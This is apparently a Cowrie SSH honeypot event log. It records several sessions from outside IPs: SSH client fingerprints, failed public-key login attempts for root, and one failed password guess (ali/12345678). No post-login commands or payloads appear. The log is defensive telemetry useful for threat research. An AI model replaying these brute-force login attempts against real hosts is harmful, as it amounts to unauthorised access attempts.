{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"09:22:20:ec:c9:20:e7:38:30:c3:60:80:04:70:8a:eb","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIK0+ztJ9RBnea0pTANpZYgBj1Vs6vQew9d+QdMOoeo2M","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 09:22:20:ec:c9:20:e7:38:30:c3:60:80:04:70:8a:eb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:17:45.649268Z","src_ip":"54.39.133.9","session":"cfe727888ba8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"09:22:20:ec:c9:20:e7:38:30:c3:60:80:04:70:8a:eb","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIK0+ztJ9RBnea0pTANpZYgBj1Vs6vQew9d+QdMOoeo2M","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:17:45.653830Z","src_ip":"54.39.133.9","session":"cfe727888ba8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"23:17:11:42:13:bd:f2:5e:10:fc:c9:52:b0:70:b3:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDdY4lYb4ey4mj7Wj9TNlvPOqa8IoQrj5DGoizTi7QfzbaZLZXXTfLH9xDBD6PmshtGc20e084KaeKYd6s0OqB4zaqG5alM8c1jZJlnhlTvlV27FQL9a7pbQPUSU3kOTZCKpnC/MFHPmXk8iTD3Y06AqdDA94ix7/eYJrs3p5I7xZ3gUSv9PjcPDkVRC6sidiQUybZdQCgAJS0OeJeeTqeFg+VPrpEdHIFboTCyTV8BBHBwi3RHJphSVnrvYu0ip2hb3tE+eWi/vEb7jbXJBqtRbsyfE1jTgOtsI6AV0+CgSqZZw2Pf78iyXsepZvQIH1sdF1BPFq1PddHS4QJN8r3uH2hcAdQZ7IlsNpReycm5W+pxpiynb26VcKiayj8ajhsdve2gxcaCHkSSoBwBFfqYhWPnGntOQEs6FcA5sUMApevmS8buQgLhNKLvii2TXT3zdyTpYRLIK/1ijxQoQ++PqD88pIUekgKDqtaqy169eCvsoD90OT4cq6DnIK4465W8nSgs1CUO9+0WL9ALDSHzf7O4f9e0epAximnc/vwGJnR7pRVt5EDSBDnORSnIDdkzgxOPYsmt5ign4sNA5ZCv8xDLtS3t+77h6h1zxdvDq3PfeokaNcWJDcELp6WHnJ601mnEZJ88kx7SuN9b5TIER9+QRVW18frB/aabxAxkOw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 23:17:11:42:13:bd:f2:5e:10:fc:c9:52:b0:70:b3:df","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:17:45.674848Z","src_ip":"54.39.133.9","session":"cfe727888ba8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"23:17:11:42:13:bd:f2:5e:10:fc:c9:52:b0:70:b3:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDdY4lYb4ey4mj7Wj9TNlvPOqa8IoQrj5DGoizTi7QfzbaZLZXXTfLH9xDBD6PmshtGc20e084KaeKYd6s0OqB4zaqG5alM8c1jZJlnhlTvlV27FQL9a7pbQPUSU3kOTZCKpnC/MFHPmXk8iTD3Y06AqdDA94ix7/eYJrs3p5I7xZ3gUSv9PjcPDkVRC6sidiQUybZdQCgAJS0OeJeeTqeFg+VPrpEdHIFboTCyTV8BBHBwi3RHJphSVnrvYu0ip2hb3tE+eWi/vEb7jbXJBqtRbsyfE1jTgOtsI6AV0+CgSqZZw2Pf78iyXsepZvQIH1sdF1BPFq1PddHS4QJN8r3uH2hcAdQZ7IlsNpReycm5W+pxpiynb26VcKiayj8ajhsdve2gxcaCHkSSoBwBFfqYhWPnGntOQEs6FcA5sUMApevmS8buQgLhNKLvii2TXT3zdyTpYRLIK/1ijxQoQ++PqD88pIUekgKDqtaqy169eCvsoD90OT4cq6DnIK4465W8nSgs1CUO9+0WL9ALDSHzf7O4f9e0epAximnc/vwGJnR7pRVt5EDSBDnORSnIDdkzgxOPYsmt5ign4sNA5ZCv8xDLtS3t+77h6h1zxdvDq3PfeokaNcWJDcELp6WHnJ601mnEZJ88kx7SuN9b5TIER9+QRVW18frB/aabxAxkOw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:17:45.679290Z","src_ip":"54.39.133.9","session":"cfe727888ba8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:17:45.700268Z","src_ip":"54.39.133.9","session":"cfe727888ba8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":33182,"dst_ip":"10.17.0.5","dst_port":22,"session":"0cc411841f54","protocol":"ssh","message":"New connection: 168.167.228.74:33182 (10.17.0.5:22) [session: 0cc411841f54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:17:47.278045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:17:47.282927Z","src_ip":"168.167.228.74","session":"0cc411841f54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:17:47.534446Z","src_ip":"168.167.228.74","session":"0cc411841f54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"12345678","message":"login attempt [ali/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:17:48.574208Z","src_ip":"168.167.228.74","session":"0cc411841f54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:17:49.833799Z","src_ip":"168.167.228.74","session":"0cc411841f54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.141.48.193","src_port":40382,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d169c2aac18","protocol":"ssh","message":"New connection: 209.141.48.193:40382 (10.17.0.5:22) [session: 8d169c2aac18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:18:20.545709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:18:20.551727Z","src_ip":"209.141.48.193","session":"8d169c2aac18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:18:20.620742Z","src_ip":"209.141.48.193","session":"8d169c2aac18","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"95:42:9e:5d:b1:99:fa:9d:cf:4b:ec:15:e6:65:42:4c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOUGBVxhpvkp2bF8lVBtKsMBf7rLG8U2pB7rICLZmfdGhe7+DONIhTpXKYDccObh7/m3k7i4FNt5cxKaTEP6bcakbpkyAu/GcKXh2ctpLl2TPii23NoascM8tC74sulZ0g08KbkipddVXZb6oQT6Ej1Uc587haPF4lcq7gQB1NkbRM/lu45AGL9k/DVik7Ae6YgW2U4oQaN0K4IMWDJe2hdKV2EKJN4w0hI0rvIxIS7EH/UdZNQcJ6oMmhdEpoUJ58wDYRQE2jv6F845weMw/TSNQ+BpDQGKadbgImUEHAMUtZGTpmhScmPM8boK63yGHZF/dJYiz/OfLEljmsXJOT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 95:42:9e:5d:b1:99:fa:9d:cf:4b:ec:15:e6:65:42:4c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:18:20.940764Z","src_ip":"209.141.48.193","session":"8d169c2aac18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"95:42:9e:5d:b1:99:fa:9d:cf:4b:ec:15:e6:65:42:4c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOUGBVxhpvkp2bF8lVBtKsMBf7rLG8U2pB7rICLZmfdGhe7+DONIhTpXKYDccObh7/m3k7i4FNt5cxKaTEP6bcakbpkyAu/GcKXh2ctpLl2TPii23NoascM8tC74sulZ0g08KbkipddVXZb6oQT6Ej1Uc587haPF4lcq7gQB1NkbRM/lu45AGL9k/DVik7Ae6YgW2U4oQaN0K4IMWDJe2hdKV2EKJN4w0hI0rvIxIS7EH/UdZNQcJ6oMmhdEpoUJ58wDYRQE2jv6F845weMw/TSNQ+BpDQGKadbgImUEHAMUtZGTpmhScmPM8boK63yGHZF/dJYiz/OfLEljmsXJOT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:18:20.945164Z","src_ip":"209.141.48.193","session":"8d169c2aac18","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"06:07:94:da:7c:c1:3c:87:bc:4a:40:61:46:10:70:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0oxrS+y+IY+koUXAll7UGDOoZhhyvesv4dc+ua/HsEhonbOkUfqMDvundVWvGXD6MhRVzXFYL69dB35lT8R5ZjeGK8DadG2wa9xep2BXlEFJEFUB79kvGbj3d0VeUX4iUyazwgMOlbM01zmGyMKqwJ6+IA1O8ZU7YWgUamD6Kd68tp/rlBvJIYnc1YkUeSxcf84aCulWUWg/fKbsJ4rVv0jOM9PEsEpMEgykkUX6VGLfnFWaH2jFQM9EIm/jkVzn58EOEgvEJP+SuMfDTGPU5ad/Dqv9F0tvMZi1bjreJXWAcnnAPmT1ZrALNHzFnFRSGjEHp1fl1IvD5OFnUcV6Qw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 06:07:94:da:7c:c1:3c:87:bc:4a:40:61:46:10:70:20","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:18:21.015675Z","src_ip":"209.141.48.193","session":"8d169c2aac18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"06:07:94:da:7c:c1:3c:87:bc:4a:40:61:46:10:70:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0oxrS+y+IY+koUXAll7UGDOoZhhyvesv4dc+ua/HsEhonbOkUfqMDvundVWvGXD6MhRVzXFYL69dB35lT8R5ZjeGK8DadG2wa9xep2BXlEFJEFUB79kvGbj3d0VeUX4iUyazwgMOlbM01zmGyMKqwJ6+IA1O8ZU7YWgUamD6Kd68tp/rlBvJIYnc1YkUeSxcf84aCulWUWg/fKbsJ4rVv0jOM9PEsEpMEgykkUX6VGLfnFWaH2jFQM9EIm/jkVzn58EOEgvEJP+SuMfDTGPU5ad/Dqv9F0tvMZi1bjreJXWAcnnAPmT1ZrALNHzFnFRSGjEHp1fl1IvD5OFnUcV6Qw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:18:21.019455Z","src_ip":"209.141.48.193","session":"8d169c2aac18","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c5:56:6b:fe:98:48:60:8b:db:71:3b:26:4e:02:e0:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIfkoqA4RPB+01Qs6sZBpyw5SlqebNnGXmi6j5W9Rjp1Y2oOq2/77lTEApd2yCv1dydS33i0alh1kVkJ14wVyRZf2YsO0FHcE8YbbOcVQ8Gagu9PXDUw5iKlogsyaOzBMjp0ispZRf3B3ClZOjrncGLb+wlS2x+vTwGF1OzptB6FHT48ofUE8ssy+HGzLLqVu6aEgjlT6h6dbgTcW3oiqAN/q50cfDsbyFPuuSWEXPrTtHiTuA+TGDo38LTDz0lwrD/i2VwBdDWURjzAw2C6apF3aTnZnEc2TmOgiON7SjuaXHIGEf2HxTOzw2VHRQnfMmaKN9QYEYYFmJmnM+2oBR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c5:56:6b:fe:98:48:60:8b:db:71:3b:26:4e:02:e0:99","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:18:21.091446Z","src_ip":"209.141.48.193","session":"8d169c2aac18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c5:56:6b:fe:98:48:60:8b:db:71:3b:26:4e:02:e0:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIfkoqA4RPB+01Qs6sZBpyw5SlqebNnGXmi6j5W9Rjp1Y2oOq2/77lTEApd2yCv1dydS33i0alh1kVkJ14wVyRZf2YsO0FHcE8YbbOcVQ8Gagu9PXDUw5iKlogsyaOzBMjp0ispZRf3B3ClZOjrncGLb+wlS2x+vTwGF1OzptB6FHT48ofUE8ssy+HGzLLqVu6aEgjlT6h6dbgTcW3oiqAN/q50cfDsbyFPuuSWEXPrTtHiTuA+TGDo38LTDz0lwrD/i2VwBdDWURjzAw2C6apF3aTnZnEc2TmOgiON7SjuaXHIGEf2HxTOzw2VHRQnfMmaKN9QYEYYFmJmnM+2oBR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:18:21.094942Z","src_ip":"209.141.48.193","session":"8d169c2aac18","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f3:3a:5f:5b:33:ae:a0:7d:16:c0:d5:bc:92:2a:d3:c1","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANjmxhfcKU+JGFOrVDzuxgfagmPr93ZuJH+sbDdHOTI/XMXDAun4xTByPJiu+C0KAadDT1xLxfcPngG2mQ3vgG2Pt8npm/olvqA5ASt/M7CEmAJraN8prcXFfM3jfqPgMEmPEbBfBaCMSYtZ+kg5rufs7ynb9eB7C0Emj3j8Rn73AAAAFQDSShB99a21Rovd3I+VDCKHINfjZQAAAIBPG+GqwGkNWP3WF3GXGc7D9s9l+5OszDJ2pTjHC/pGt01ufSLBLeXAPbbUYpmAGrVMSt/qY73kEQQWg1pGiybkyv8LH70t/9dWK9qng/IdLrh+x4iXM1V5qGEvU8did81OGNILANuK1Ngj2GYuKL47EKcFp1iK5HgBkItST4URVwAAAIAoRfRKQpfC1QVxVrgCUnkLYWA6nvt17HmY25ja+O04+dhidZU1gKrMdWHSwTPBUn+WtHqK5wOAXCWJcXYQPX574G1cVLVwg8PUX4CR8Jqrg1UyRvf/NoBhlRmKnRBcq2I+yQhcXduH+GL4LHB/cy0TnKcW08Gn9AMam0PVaopRqw==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint f3:3a:5f:5b:33:ae:a0:7d:16:c0:d5:bc:92:2a:d3:c1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:18:21.163736Z","src_ip":"209.141.48.193","session":"8d169c2aac18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f3:3a:5f:5b:33:ae:a0:7d:16:c0:d5:bc:92:2a:d3:c1","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANjmxhfcKU+JGFOrVDzuxgfagmPr93ZuJH+sbDdHOTI/XMXDAun4xTByPJiu+C0KAadDT1xLxfcPngG2mQ3vgG2Pt8npm/olvqA5ASt/M7CEmAJraN8prcXFfM3jfqPgMEmPEbBfBaCMSYtZ+kg5rufs7ynb9eB7C0Emj3j8Rn73AAAAFQDSShB99a21Rovd3I+VDCKHINfjZQAAAIBPG+GqwGkNWP3WF3GXGc7D9s9l+5OszDJ2pTjHC/pGt01ufSLBLeXAPbbUYpmAGrVMSt/qY73kEQQWg1pGiybkyv8LH70t/9dWK9qng/IdLrh+x4iXM1V5qGEvU8did81OGNILANuK1Ngj2GYuKL47EKcFp1iK5HgBkItST4URVwAAAIAoRfRKQpfC1QVxVrgCUnkLYWA6nvt17HmY25ja+O04+dhidZU1gKrMdWHSwTPBUn+WtHqK5wOAXCWJcXYQPX574G1cVLVwg8PUX4CR8Jqrg1UyRvf/NoBhlRmKnRBcq2I+yQhcXduH+GL4LHB/cy0TnKcW08Gn9AMam0PVaopRqw==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:18:21.168368Z","src_ip":"209.141.48.193","session":"8d169c2aac18","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"18:66:bc:9c:c9:76:1a:76:b9:35:7d:35:ce:e3:67:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4uVARrP8Tn2I4tMSUJrrcI/dEY8xlirXZfZgOZeo6osj0ZZCSURHvYEnjjMwo5l6FDTMxOuvr/35p4y2W+a8w90uMuHqN5ccBALa+ZBthWYnapFlLawDmApdPjlfu8kcILSTidJ+vY+fFDRBIwMyybUcmUFBdPNEPIi6cORxEUp+OVx5b425Lq6deInBDRrP5t4h4qkqoZ/xyrf8/vfY/0qplnGew7/9lvHOuPNIBoEQ9Dfep2nND8HVW68hjk5EA7ht5btxlEbm7QgqPiS3a9yIuudFWUWOLDAKLjUagc3PpZ3Q/llB8WlxoN8DseF25Dz9lW8S4Lj/KKTIVjdev","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 18:66:bc:9c:c9:76:1a:76:b9:35:7d:35:ce:e3:67:f6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:18:21.238800Z","src_ip":"209.141.48.193","session":"8d169c2aac18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"18:66:bc:9c:c9:76:1a:76:b9:35:7d:35:ce:e3:67:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4uVARrP8Tn2I4tMSUJrrcI/dEY8xlirXZfZgOZeo6osj0ZZCSURHvYEnjjMwo5l6FDTMxOuvr/35p4y2W+a8w90uMuHqN5ccBALa+ZBthWYnapFlLawDmApdPjlfu8kcILSTidJ+vY+fFDRBIwMyybUcmUFBdPNEPIi6cORxEUp+OVx5b425Lq6deInBDRrP5t4h4qkqoZ/xyrf8/vfY/0qplnGew7/9lvHOuPNIBoEQ9Dfep2nND8HVW68hjk5EA7ht5btxlEbm7QgqPiS3a9yIuudFWUWOLDAKLjUagc3PpZ3Q/llB8WlxoN8DseF25Dz9lW8S4Lj/KKTIVjdev","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:18:21.243065Z","src_ip":"209.141.48.193","session":"8d169c2aac18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:18:21.312505Z","src_ip":"209.141.48.193","session":"8d169c2aac18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.26.87.217","src_port":36740,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a796eaeba0b","protocol":"ssh","message":"New connection: 195.26.87.217:36740 (10.17.0.5:22) [session: 5a796eaeba0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:18:26.214028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:18:26.219206Z","src_ip":"195.26.87.217","session":"5a796eaeba0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:18:26.309002Z","src_ip":"195.26.87.217","session":"5a796eaeba0b","protocol":"ssh"}
